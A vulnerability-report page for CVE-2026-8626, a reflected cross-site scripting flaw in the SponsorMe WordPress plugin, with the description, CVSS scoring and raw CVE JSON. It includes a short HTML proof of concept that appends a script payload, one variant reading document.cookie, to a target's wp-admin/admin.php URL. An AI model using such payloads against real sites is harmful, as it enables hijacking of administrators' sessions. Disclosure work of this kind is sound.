Security Vulnerability Report
中文
CVE-2026-8626 CVSS 6.1 MEDIUM

CVE-2026-8626

Published: 2026-05-20 02:16:41
Last Modified: 2026-05-20 02:16:41

Description

The SponsorMe plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 0.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The PHP_SELF value is reflected in two separate locations within the vulnerable function — a form action attribute and an anchor href attribute — both of which can be exploited by appending a crafted payload to the wp-admin/admin.php URL path.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SponsorMe <= 0.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!DOCTYPE html> <!-- PoC for CVE-2026-8626: Reflected XSS via PHP_SELF --> <html> <body> <h1>SponsorMe Plugin XSS PoC</h1> <p>Click the link below to trigger the vulnerability (assuming admin is logged in):</p> <!-- The payload is appended to the wp-admin/admin.php path --> <a href="http://target-site.com/wp-admin/admin.php/"><script>alert('CVE-2026-8626 XSS')</script>">Exploit Link</a> <!-- Alternatively, direct payload injection in the URL --> <!-- URL: http://target-site.com/wp-admin/admin.php/"><script>alert(document.cookie)</script><" --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8626", "sourceIdentifier": "[email protected]", "published": "2026-05-20T02:16:40.837", "lastModified": "2026-05-20T02:16:40.837", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SponsorMe plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via PHP_SELF Parameter in all versions up to, and including, 0.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The PHP_SELF value is reflected in two separate locations within the vulnerable function — a form action attribute and an anchor href attribute — both of which can be exploited by appending a crafted payload to the wp-admin/admin.php URL path."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sponsorme/trunk/sponsorme.php#L440", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sponsorme/trunk/sponsorme.php#L475", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7df7f541-b8aa-46fa-bfca-b333beea27f9?source=cve", "source": "[email protected]"}]}}